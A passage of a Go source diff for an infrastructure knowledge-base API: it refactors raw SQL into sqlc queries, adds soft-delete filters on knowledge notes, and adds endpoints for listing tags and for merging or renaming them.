|
Status: "cancelled",
|
||||||
|
}); err != nil {
|
||||||
|
if err == pgx.ErrNoRows {
|
||||||
|
return nil, fmt.Errorf("%w: execution %s", domain.ErrNotFound, req.Id)
|
||||||
|
}
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-read.
|
||||||
|
var exec gen.Execution
|
||||||
|
var resultBytes []byte
|
||||||
|
var targetSlug string
|
||||||
|
err = tx.QueryRow(ctx, `
|
||||||
|
SELECT e.entity_id, e.classification_id::text, e.signal_entity_id::text,
|
||||||
|
e.target_entity_id, e.action, e.risk_class,
|
||||||
|
e.approval_id::text, e.agent_id::text, e.skill_id::text,
|
||||||
|
e.skill_version, e.status, e.result, e.duration_ms,
|
||||||
|
e.verified, e.correlation_id, e.started_at, e.completed_at, e.created_at,
|
||||||
|
te.slug
|
||||||
|
FROM executions e
|
||||||
|
JOIN entities te ON te.id = e.target_entity_id
|
||||||
|
WHERE e.entity_id = $1`, id).
|
||||||
|
Scan(&exec.Id, &exec.ClassificationId, &exec.SignalId,
|
||||||
|
&exec.Target, &exec.Action, &exec.RiskClass,
|
||||||
|
&exec.ApprovalId, &exec.AgentId, &exec.SkillId,
|
||||||
|
&exec.SkillVersion, &exec.Status, &resultBytes, &exec.DurationMs,
|
||||||
|
&exec.Verified, &exec.CorrelationId, &exec.StartedAt, &exec.CompletedAt,
|
||||||
|
&exec.CreatedAt, &targetSlug)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
exec.Slug = targetSlug
|
||||||
|
|
||||||
|
actorType, actor := actorInfo(ctx)
|
||||||
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "cancel",
|
||||||
|
&id, "POST", "/api/v1/executions/"+req.Id+"/cancel", "",
|
||||||
|
map[string]any{"status": "cancelled"}); auditErr != nil {
|
||||||
|
return nil, auditErr
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return gen.CancelExecution200JSONResponse(exec), nil
|
||||||
|
}
|
||||||
32
internal/httpapi/helpers.go
Normal file
32
internal/httpapi/helpers.go
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Helpers ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func coalesceStr(s *string, def string) string {
|
||||||
|
if s == nil || *s == "" {
|
||||||
|
return def
|
||||||
|
}
|
||||||
|
return *s
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseIntOrZero(s string) (int, error) {
|
||||||
|
var n int
|
||||||
|
for _, c := range s {
|
||||||
|
if c < '0' || c > '9' {
|
||||||
|
return 0, fmt.Errorf("invalid integer: %q", s)
|
||||||
|
}
|
||||||
|
n = n*10 + int(c-'0')
|
||||||
|
}
|
||||||
|
return n, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func hashToken(token string) string {
|
||||||
|
h := sha256.Sum256([]byte(token))
|
||||||
|
return hex.EncodeToString(h[:])
|
||||||
|
}
|
||||||
@@ -60,19 +60,17 @@ func clampLimit(l *int) int {
|
|||||||
// resolveEntityID resolves a UUID-or-slug path/query value to the entity UUID.
|
// resolveEntityID resolves a UUID-or-slug path/query value to the entity UUID.
|
||||||
func (s *Server) resolveEntityID(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
func (s *Server) resolveEntityID(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||||
if id, err := uuid.Parse(idOrSlug); err == nil {
|
if id, err := uuid.Parse(idOrSlug); err == nil {
|
||||||
var found uuid.UUID
|
entity, err := sqlcgen.New(s.pool).GetEntityByID(ctx, id)
|
||||||
err := s.pool.QueryRow(ctx, "SELECT id FROM entities WHERE id = $1", id).Scan(&found)
|
if err != nil {
|
||||||
if err == pgx.ErrNoRows {
|
|
||||||
return uuid.Nil, fmt.Errorf("%w: %s", domain.ErrNotFound, idOrSlug)
|
return uuid.Nil, fmt.Errorf("%w: %s", domain.ErrNotFound, idOrSlug)
|
||||||
}
|
}
|
||||||
return found, err
|
return entity.ID, nil
|
||||||
}
|
}
|
||||||
var id uuid.UUID
|
entity, err := sqlcgen.New(s.pool).GetEntityBySlug(ctx, idOrSlug)
|
||||||
err := s.pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", idOrSlug).Scan(&id)
|
if err != nil {
|
||||||
if err == pgx.ErrNoRows {
|
|
||||||
return uuid.Nil, fmt.Errorf("%w: %s", domain.ErrNotFound, idOrSlug)
|
return uuid.Nil, fmt.Errorf("%w: %s", domain.ErrNotFound, idOrSlug)
|
||||||
}
|
}
|
||||||
return id, err
|
return entity.ID, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// entityCols requires the entities table to be aliased as `e`, with
|
// entityCols requires the entities table to be aliased as `e`, with
|
||||||
@@ -188,46 +186,37 @@ func (s *Server) GetEntityRelations(ctx context.Context, req gen.GetEntityRelati
|
|||||||
if req.Params.Direction != nil {
|
if req.Params.Direction != nil {
|
||||||
dir = string(*req.Params.Direction)
|
dir = string(*req.Params.Direction)
|
||||||
}
|
}
|
||||||
rows, err := s.pool.Query(ctx, `
|
relType := req.Params.RelType
|
||||||
SELECT se.slug, te.slug, r.type, r.attributes, r.valid_from, r.valid_to
|
rows, err := sqlcgen.New(s.pool).ListEntityRelations(ctx, sqlcgen.ListEntityRelationsParams{
|
||||||
FROM relationships r
|
Direction: dir,
|
||||||
JOIN entities se ON se.id = r.source_id
|
ID: id,
|
||||||
JOIN entities te ON te.id = r.target_id
|
RelType: relType,
|
||||||
WHERE r.valid_to IS NULL
|
})
|
||||||
AND (($3 IN ('out','both') AND r.source_id = $1)
|
|
||||||
OR ($3 IN ('in','both') AND r.target_id = $1))
|
|
||||||
AND ($2::text IS NULL OR r.type = $2)
|
|
||||||
ORDER BY r.type, se.slug, te.slug`,
|
|
||||||
id, req.Params.RelType, dir)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
items, err := scanRelationships(rows)
|
items := []gen.Relationship{}
|
||||||
if err != nil {
|
for _, r := range rows {
|
||||||
return nil, err
|
var attrs *map[string]any
|
||||||
|
if len(r.Attributes) > 0 {
|
||||||
|
var m map[string]any
|
||||||
|
if json.Unmarshal(r.Attributes, &m) == nil && len(m) > 0 {
|
||||||
|
attrs = &m
|
||||||
|
}
|
||||||
|
}
|
||||||
|
validTo := r.ValidTo
|
||||||
|
items = append(items, gen.Relationship{
|
||||||
|
Source: r.SourceSlug,
|
||||||
|
Target: r.TargetSlug,
|
||||||
|
Type: r.Type,
|
||||||
|
Attributes: attrs,
|
||||||
|
ValidFrom: r.ValidFrom,
|
||||||
|
ValidTo: validTo,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
return gen.GetEntityRelations200JSONResponse{Items: items}, nil
|
return gen.GetEntityRelations200JSONResponse{Items: items}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func scanRelationships(rows pgx.Rows) ([]gen.Relationship, error) {
|
|
||||||
defer rows.Close()
|
|
||||||
items := []gen.Relationship{}
|
|
||||||
for rows.Next() {
|
|
||||||
var rel gen.Relationship
|
|
||||||
var attrsJSON []byte
|
|
||||||
if err := rows.Scan(&rel.Source, &rel.Target, &rel.Type,
|
|
||||||
&attrsJSON, &rel.ValidFrom, &rel.ValidTo); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
var attrs map[string]any
|
|
||||||
if len(attrsJSON) > 0 && json.Unmarshal(attrsJSON, &attrs) == nil && len(attrs) > 0 {
|
|
||||||
rel.Attributes = &attrs
|
|
||||||
}
|
|
||||||
items = append(items, rel)
|
|
||||||
}
|
|
||||||
return items, rows.Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (s *Server) GetBlastRadius(ctx context.Context, req gen.GetBlastRadiusRequestObject) (gen.GetBlastRadiusResponseObject, error) {
|
func (s *Server) GetBlastRadius(ctx context.Context, req gen.GetBlastRadiusRequestObject) (gen.GetBlastRadiusResponseObject, error) {
|
||||||
id, err := s.resolveEntityID(ctx, req.Id)
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -293,6 +282,15 @@ func (s *Server) GetGraph(ctx context.Context, req gen.GetGraphRequestObject) (g
|
|||||||
var err error
|
var err error
|
||||||
truncated := false
|
truncated := false
|
||||||
|
|
||||||
|
// pgx can't infer the array element type from a nil *[]string (the
|
||||||
|
// param is absent from the request, not an empty list), so dereference
|
||||||
|
// to a plain []string first — nil there still encodes as SQL NULL, but
|
||||||
|
// pgx has a concrete type to work with.
|
||||||
|
var relTypes []string
|
||||||
|
if req.Params.RelType != nil {
|
||||||
|
relTypes = *req.Params.RelType
|
||||||
|
}
|
||||||
|
|
||||||
if req.Params.Root != nil && *req.Params.Root != "" {
|
if req.Params.Root != nil && *req.Params.Root != "" {
|
||||||
rootID, rerr := s.resolveEntityID(ctx, *req.Params.Root)
|
rootID, rerr := s.resolveEntityID(ctx, *req.Params.Root)
|
||||||
if rerr != nil {
|
if rerr != nil {
|
||||||
@@ -302,7 +300,7 @@ func (s *Server) GetGraph(ctx context.Context, req gen.GetGraphRequestObject) (g
|
|||||||
SELECT `+entityCols+`
|
SELECT `+entityCols+`
|
||||||
FROM blast_radius($1, $2, $3) b JOIN entities e ON e.id = b.entity_id
|
FROM blast_radius($1, $2, $3) b JOIN entities e ON e.id = b.entity_id
|
||||||
LEFT JOIN entity_status st ON st.entity_id = e.id
|
LEFT JOIN entity_status st ON st.entity_id = e.id
|
||||||
ORDER BY e.slug`, rootID, depth, req.Params.RelType)
|
ORDER BY e.slug`, rootID, depth, relTypes)
|
||||||
} else {
|
} else {
|
||||||
// Whole-graph view: pick the most-connected entities first so the
|
// Whole-graph view: pick the most-connected entities first so the
|
||||||
// graph shows actual topology, not just whatever sorts first
|
// graph shows actual topology, not just whatever sorts first
|
||||||
@@ -336,21 +334,31 @@ func (s *Server) GetGraph(ctx context.Context, req gen.GetGraphRequestObject) (g
|
|||||||
for i, n := range nodes {
|
for i, n := range nodes {
|
||||||
ids[i] = uuid.UUID(n.Id)
|
ids[i] = uuid.UUID(n.Id)
|
||||||
}
|
}
|
||||||
rows, err := s.pool.Query(ctx, `
|
edgeRows, err := sqlcgen.New(s.pool).ListGraphEdges(ctx, sqlcgen.ListGraphEdgesParams{
|
||||||
SELECT se.slug, te.slug, r.type, r.attributes, r.valid_from, r.valid_to
|
Ids: ids,
|
||||||
FROM relationships r
|
RelTypes: relTypes,
|
||||||
JOIN entities se ON se.id = r.source_id
|
})
|
||||||
JOIN entities te ON te.id = r.target_id
|
|
||||||
WHERE r.valid_to IS NULL
|
|
||||||
AND r.source_id = ANY($1) AND r.target_id = ANY($1)
|
|
||||||
AND ($2::text[] IS NULL OR r.type = ANY($2))
|
|
||||||
ORDER BY r.type, se.slug, te.slug`, ids, req.Params.RelType)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
edges, err := scanRelationships(rows)
|
edges := []gen.Relationship{}
|
||||||
if err != nil {
|
for _, r := range edgeRows {
|
||||||
return nil, err
|
var attrs *map[string]any
|
||||||
|
if len(r.Attributes) > 0 {
|
||||||
|
var m map[string]any
|
||||||
|
if json.Unmarshal(r.Attributes, &m) == nil && len(m) > 0 {
|
||||||
|
attrs = &m
|
||||||
|
}
|
||||||
|
}
|
||||||
|
validTo := r.ValidTo
|
||||||
|
edges = append(edges, gen.Relationship{
|
||||||
|
Source: r.SourceSlug,
|
||||||
|
Target: r.TargetSlug,
|
||||||
|
Type: r.Type,
|
||||||
|
Attributes: attrs,
|
||||||
|
ValidFrom: r.ValidFrom,
|
||||||
|
ValidTo: validTo,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
resp := gen.GetGraph200JSONResponse{Nodes: nodes, Edges: edges}
|
resp := gen.GetGraph200JSONResponse{Nodes: nodes, Edges: edges}
|
||||||
@@ -421,78 +429,70 @@ func (s *Server) GetOntology(ctx context.Context, req gen.GetOntologyRequestObje
|
|||||||
Lifecycles: []gen.LifecycleDef{},
|
Lifecycles: []gen.LifecycleDef{},
|
||||||
}
|
}
|
||||||
|
|
||||||
rows, err := s.pool.Query(ctx, `
|
q := sqlcgen.New(s.pool)
|
||||||
SELECT name, parent_type, is_abstract, domain, layer, description,
|
|
||||||
lifecycle_id, attribute_schema, schema_version, status
|
etRows, err := q.ListEntityTypes(ctx)
|
||||||
FROM entity_types ORDER BY name`)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
for rows.Next() {
|
for _, et := range etRows {
|
||||||
var et gen.EntityType
|
schemaVersion := int(et.SchemaVersion)
|
||||||
var schemaVersion int
|
var schema *map[string]any
|
||||||
var schemaJSON []byte
|
if len(et.AttributeSchema) > 0 {
|
||||||
if err := rows.Scan(&et.Name, &et.ParentType, &et.IsAbstract, &et.Domain,
|
var s map[string]any
|
||||||
&et.Layer, &et.Description, &et.LifecycleId, &schemaJSON,
|
if json.Unmarshal(et.AttributeSchema, &s) == nil && s != nil {
|
||||||
&schemaVersion, &et.Status); err != nil {
|
schema = &s
|
||||||
rows.Close()
|
|
||||||
return nil, err
|
|
||||||
}
|
}
|
||||||
et.SchemaVersion = &schemaVersion
|
|
||||||
var schema map[string]any
|
|
||||||
if len(schemaJSON) > 0 && json.Unmarshal(schemaJSON, &schema) == nil && schema != nil {
|
|
||||||
et.AttributeSchema = &schema
|
|
||||||
}
|
}
|
||||||
resp.EntityTypes = append(resp.EntityTypes, et)
|
resp.EntityTypes = append(resp.EntityTypes, gen.EntityType{
|
||||||
}
|
Name: et.Name,
|
||||||
rows.Close()
|
ParentType: et.ParentType,
|
||||||
if rows.Err() != nil {
|
IsAbstract: et.IsAbstract,
|
||||||
return nil, rows.Err()
|
Domain: et.Domain,
|
||||||
|
Layer: gen.EntityTypeLayer(et.Layer),
|
||||||
|
Description: et.Description,
|
||||||
|
LifecycleId: et.LifecycleID,
|
||||||
|
SchemaVersion: &schemaVersion,
|
||||||
|
AttributeSchema: schema,
|
||||||
|
Status: gen.EntityTypeStatus(et.Status),
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
rows, err = s.pool.Query(ctx, `
|
rtRows, err := q.ListRelationshipTypes(ctx)
|
||||||
SELECT name, inverse, source_type, target_type, cardinality, description
|
|
||||||
FROM relationship_types ORDER BY name`)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
for rows.Next() {
|
for _, rt := range rtRows {
|
||||||
var rt gen.RelationshipType
|
resp.RelationshipTypes = append(resp.RelationshipTypes, gen.RelationshipType{
|
||||||
if err := rows.Scan(&rt.Name, &rt.Inverse, &rt.SourceType, &rt.TargetType,
|
Name: rt.Name,
|
||||||
&rt.Cardinality, &rt.Description); err != nil {
|
Inverse: rt.Inverse,
|
||||||
rows.Close()
|
SourceType: rt.SourceType,
|
||||||
return nil, err
|
TargetType: rt.TargetType,
|
||||||
}
|
Cardinality: gen.RelationshipTypeCardinality(rt.Cardinality),
|
||||||
resp.RelationshipTypes = append(resp.RelationshipTypes, rt)
|
Description: rt.Description,
|
||||||
}
|
})
|
||||||
rows.Close()
|
|
||||||
if rows.Err() != nil {
|
|
||||||
return nil, rows.Err()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
rows, err = s.pool.Query(ctx, `
|
lcRows, err := q.ListLifecycleDefs(ctx)
|
||||||
SELECT id, states, default_state, terminal_states, transitions
|
|
||||||
FROM lifecycle_defs ORDER BY id`)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
for rows.Next() {
|
for _, lc := range lcRows {
|
||||||
var lc gen.LifecycleDef
|
terminal := lc.TerminalStates
|
||||||
var terminal []string
|
var transitions map[string]any
|
||||||
var transJSON []byte
|
if err := json.Unmarshal(lc.Transitions, &transitions); err != nil {
|
||||||
if err := rows.Scan(&lc.Id, &lc.States, &lc.DefaultState, &terminal, &transJSON); err != nil {
|
return nil, fmt.Errorf("lifecycle %s transitions: %w", lc.ID, err)
|
||||||
rows.Close()
|
|
||||||
return nil, err
|
|
||||||
}
|
}
|
||||||
lc.TerminalStates = &terminal
|
resp.Lifecycles = append(resp.Lifecycles, gen.LifecycleDef{
|
||||||
if err := json.Unmarshal(transJSON, &lc.Transitions); err != nil {
|
Id: lc.ID,
|
||||||
rows.Close()
|
States: lc.States,
|
||||||
return nil, fmt.Errorf("lifecycle %s transitions: %w", lc.Id, err)
|
DefaultState: lc.DefaultState,
|
||||||
|
TerminalStates: &terminal,
|
||||||
|
Transitions: transitions,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
resp.Lifecycles = append(resp.Lifecycles, lc)
|
|
||||||
}
|
return resp, nil
|
||||||
rows.Close()
|
|
||||||
return resp, rows.Err()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// ─── Signals ──────────────────────────────────────────────────────────
|
// ─── Signals ──────────────────────────────────────────────────────────
|
||||||
@@ -1605,10 +1605,9 @@ func checkPrecondition(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, entit
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
case "health-check-answering":
|
case "health-check-answering":
|
||||||
var health string
|
st, err := sqlcgen.New(tx).GetEntityStatus(ctx, entityID)
|
||||||
err := tx.QueryRow(ctx, "SELECT health FROM entity_status WHERE entity_id = $1", entityID).Scan(&health)
|
if err != nil || st.Health == "unknown" || st.Health == "down" {
|
||||||
if err != nil || health == "unknown" || health == "down" {
|
return fmt.Errorf("health check not answering (status: %s)", st.Health)
|
||||||
return fmt.Errorf("health check not answering (status: %s)", health)
|
|
||||||
}
|
}
|
||||||
case "doc-page-complete":
|
case "doc-page-complete":
|
||||||
var count int
|
var count int
|
||||||
|
|||||||
@@ -50,6 +50,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
|||||||
FROM knowledge_entities ke
|
FROM knowledge_entities ke
|
||||||
JOIN entities e ON e.id = ke.entity_id
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
WHERE ($1 = '' OR ke.source = $1)
|
WHERE ($1 = '' OR ke.source = $1)
|
||||||
|
AND ke.deleted_at IS NULL
|
||||||
ORDER BY ke.updated_at DESC
|
ORDER BY ke.updated_at DESC
|
||||||
LIMIT $2`, source, limit)
|
LIMIT $2`, source, limit)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -82,6 +83,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
|||||||
COUNT(*) FILTER (WHERE ke.source = 'nomos-agent'),
|
COUNT(*) FILTER (WHERE ke.source = 'nomos-agent'),
|
||||||
COUNT(*) FILTER (WHERE ke.updated_at > now() - interval '7 days')
|
COUNT(*) FILTER (WHERE ke.updated_at > now() - interval '7 days')
|
||||||
FROM knowledge_entities ke JOIN entities e ON e.id = ke.entity_id
|
FROM knowledge_entities ke JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
GROUP BY e.type`)
|
GROUP BY e.type`)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
defer srows.Close()
|
defer srows.Close()
|
||||||
@@ -128,15 +130,19 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
var title, content, source string
|
var title, content, source, editedBy string
|
||||||
var tags []string
|
var tags []string
|
||||||
var updatedAt string
|
var updatedAt string
|
||||||
|
var revisions int
|
||||||
err = s.pool.QueryRow(ctx, `
|
err = s.pool.QueryRow(ctx, `
|
||||||
SELECT ke.title, ke.content, COALESCE(ke.source,''), ke.tags, ke.updated_at::text
|
SELECT ke.title, ke.content, COALESCE(ke.source,''), COALESCE(ke.edited_by,''),
|
||||||
|
ke.tags, ke.updated_at::text,
|
||||||
|
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||||
FROM knowledge_entities ke
|
FROM knowledge_entities ke
|
||||||
JOIN entities e ON e.id = ke.entity_id
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).
|
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||||
Scan(&title, &content, &source, &tags, &updatedAt)
|
AND ke.deleted_at IS NULL`, idOrSlug).
|
||||||
|
Scan(&title, &content, &source, &editedBy, &tags, &updatedAt, &revisions)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
writeProblem(w, req, http.StatusNotFound, "no knowledge content for entity", "")
|
writeProblem(w, req, http.StatusNotFound, "no knowledge content for entity", "")
|
||||||
return
|
return
|
||||||
@@ -150,8 +156,10 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
|||||||
"title": title,
|
"title": title,
|
||||||
"content": content,
|
"content": content,
|
||||||
"source": source,
|
"source": source,
|
||||||
|
"edited_by": editedBy,
|
||||||
"tags": tags,
|
"tags": tags,
|
||||||
"updated_at": updatedAt,
|
"updated_at": updatedAt,
|
||||||
|
"revisions": revisions,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -169,6 +177,7 @@ func (s *Server) SearchKnowledge(ctx context.Context, request gen.SearchKnowledg
|
|||||||
JOIN entities e ON e.id = ke.entity_id
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
JOIN entity_types et ON et.name = e.type
|
JOIN entity_types et ON et.name = e.type
|
||||||
WHERE ke.search @@ plainto_tsquery('english', $1)
|
WHERE ke.search @@ plainto_tsquery('english', $1)
|
||||||
|
AND ke.deleted_at IS NULL
|
||||||
ORDER BY rank DESC
|
ORDER BY rank DESC
|
||||||
LIMIT $2`,
|
LIMIT $2`,
|
||||||
q, limit)
|
q, limit)
|
||||||
@@ -232,6 +241,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
|||||||
WHERE target.slug = $1
|
WHERE target.slug = $1
|
||||||
AND r.valid_to IS NULL
|
AND r.valid_to IS NULL
|
||||||
AND r.type IN ('documents', 'about')
|
AND r.type IN ('documents', 'about')
|
||||||
|
AND ke.deleted_at IS NULL
|
||||||
UNION
|
UNION
|
||||||
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
||||||
FROM knowledge_entities ke
|
FROM knowledge_entities ke
|
||||||
@@ -242,6 +252,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
|||||||
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
||||||
WHERE r.valid_to IS NULL
|
WHERE r.valid_to IS NULL
|
||||||
AND r.type = 'procedure-for'
|
AND r.type = 'procedure-for'
|
||||||
|
AND ke.deleted_at IS NULL
|
||||||
ORDER BY 2`,
|
ORDER BY 2`,
|
||||||
entitySlug)
|
entitySlug)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
544
internal/httpapi/knowledge_drift.go
Normal file
544
internal/httpapi/knowledge_drift.go
Normal file
@@ -0,0 +1,544 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log/slog"
|
||||||
|
"net/http"
|
||||||
|
"sort"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Drift tooling for the knowledge base — the maintenance half of the wiki.
|
||||||
|
//
|
||||||
|
// These endpoints exist because the knowledge base measurably rots on its
|
||||||
|
// own. Two failure modes are already present in live data:
|
||||||
|
//
|
||||||
|
// - **Duplicate pileup.** upsert_knowledge keys on exact title, so a note
|
||||||
|
// titled "rclone backup live inspection — 2026-07-15 10:08 UTC" and one
|
||||||
|
// titled "... 11:18 UTC" are different notes. A single day of agent
|
||||||
|
// activity produced eight near-identical investigations that should have
|
||||||
|
// been one living page. Nothing surfaced that, so it kept happening.
|
||||||
|
// - **Tag drift.** `oom` and `OOM` were separate tags; so were `422` and
|
||||||
|
// `proton-422`. Each split halves the usefulness of tag navigation, and
|
||||||
|
// neither is visible from any single note.
|
||||||
|
//
|
||||||
|
// normalizeTags (knowledge_write.go) stops new casing splits at the door;
|
||||||
|
// these endpoints clean up what's already there and make the rot visible.
|
||||||
|
|
||||||
|
// serveKnowledgeTags returns the tag index: every tag with its usage count,
|
||||||
|
// plus the distinct casings actually stored. `variants` is the interesting
|
||||||
|
// column — it's how the operator discovers that `oom` and `OOM` are the same
|
||||||
|
// idea filed twice, which no individual note reveals.
|
||||||
|
func (s *Server) serveKnowledgeTags(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT lower(tag) AS norm,
|
||||||
|
count(*) AS uses,
|
||||||
|
array_agg(DISTINCT tag ORDER BY tag) AS variants
|
||||||
|
FROM knowledge_entities ke, unnest(ke.tags) AS tag
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
|
GROUP BY lower(tag)
|
||||||
|
ORDER BY uses DESC, norm`)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type tagRow struct {
|
||||||
|
Tag string `json:"tag"`
|
||||||
|
Uses int `json:"uses"`
|
||||||
|
Variants []string `json:"variants"`
|
||||||
|
// True when the same tag is stored under more than one casing —
|
||||||
|
// the UI badges these as needing a normalize.
|
||||||
|
Split bool `json:"split"`
|
||||||
|
}
|
||||||
|
items := []tagRow{}
|
||||||
|
for rows.Next() {
|
||||||
|
var t tagRow
|
||||||
|
if err := rows.Scan(&t.Tag, &t.Uses, &t.Variants); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/tags row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
t.Split = len(t.Variants) > 1
|
||||||
|
items = append(items, t)
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"items": items})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveRenameKnowledgeTag rewrites one or more tags to a single target across
|
||||||
|
// every live note — the merge/rename/normalize action behind the tag manager.
|
||||||
|
// Passing several `from` values into one `to` is the merge case
|
||||||
|
// (`{"from":["422","proton-422"],"to":"proton-422"}`); passing one is a plain
|
||||||
|
// rename; passing the mixed-case variants is the normalize case.
|
||||||
|
func (s *Server) serveRenameKnowledgeTag(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
var body struct {
|
||||||
|
From []string `json:"from"`
|
||||||
|
To string `json:"to"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
to := strings.ToLower(strings.TrimSpace(body.To))
|
||||||
|
from := []string{}
|
||||||
|
for _, f := range body.From {
|
||||||
|
if f = strings.TrimSpace(f); f != "" {
|
||||||
|
from = append(from, f)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if to == "" || len(from) == 0 {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "from and to are required", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Rebuild each affected note's tag array: map every `from` member to
|
||||||
|
// `to`, leave everything else alone, then de-duplicate. The dedupe
|
||||||
|
// matters for the merge case — a note tagged both `422` and
|
||||||
|
// `proton-422` would otherwise end up with `proton-422` twice.
|
||||||
|
//
|
||||||
|
// This is a plain UPDATE on knowledge_entities, so trg_knowledge_revision
|
||||||
|
// fires and every affected note gets a revision. A tag merge across 17
|
||||||
|
// notes is exactly the kind of bulk edit worth being able to inspect
|
||||||
|
// afterwards.
|
||||||
|
tag, err := s.pool.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities ke
|
||||||
|
SET tags = sub.new_tags, updated_at = now()
|
||||||
|
FROM (
|
||||||
|
SELECT k.entity_id,
|
||||||
|
ARRAY(SELECT DISTINCT CASE WHEN lower(t) = ANY($1) THEN $2 ELSE t END
|
||||||
|
FROM unnest(k.tags) AS t) AS new_tags
|
||||||
|
FROM knowledge_entities k
|
||||||
|
WHERE k.deleted_at IS NULL
|
||||||
|
AND EXISTS (SELECT 1 FROM unnest(k.tags) AS t WHERE lower(t) = ANY($1))
|
||||||
|
) AS sub
|
||||||
|
WHERE ke.entity_id = sub.entity_id`,
|
||||||
|
lowerAll(from), to)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "rename failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
slog.Info("knowledge tags renamed", "from", from, "to", to,
|
||||||
|
"notes", tag.RowsAffected(), "actor", actorLabel)
|
||||||
|
writeJSON(w, map[string]any{"ok": true, "notes_updated": tag.RowsAffected()})
|
||||||
|
}
|
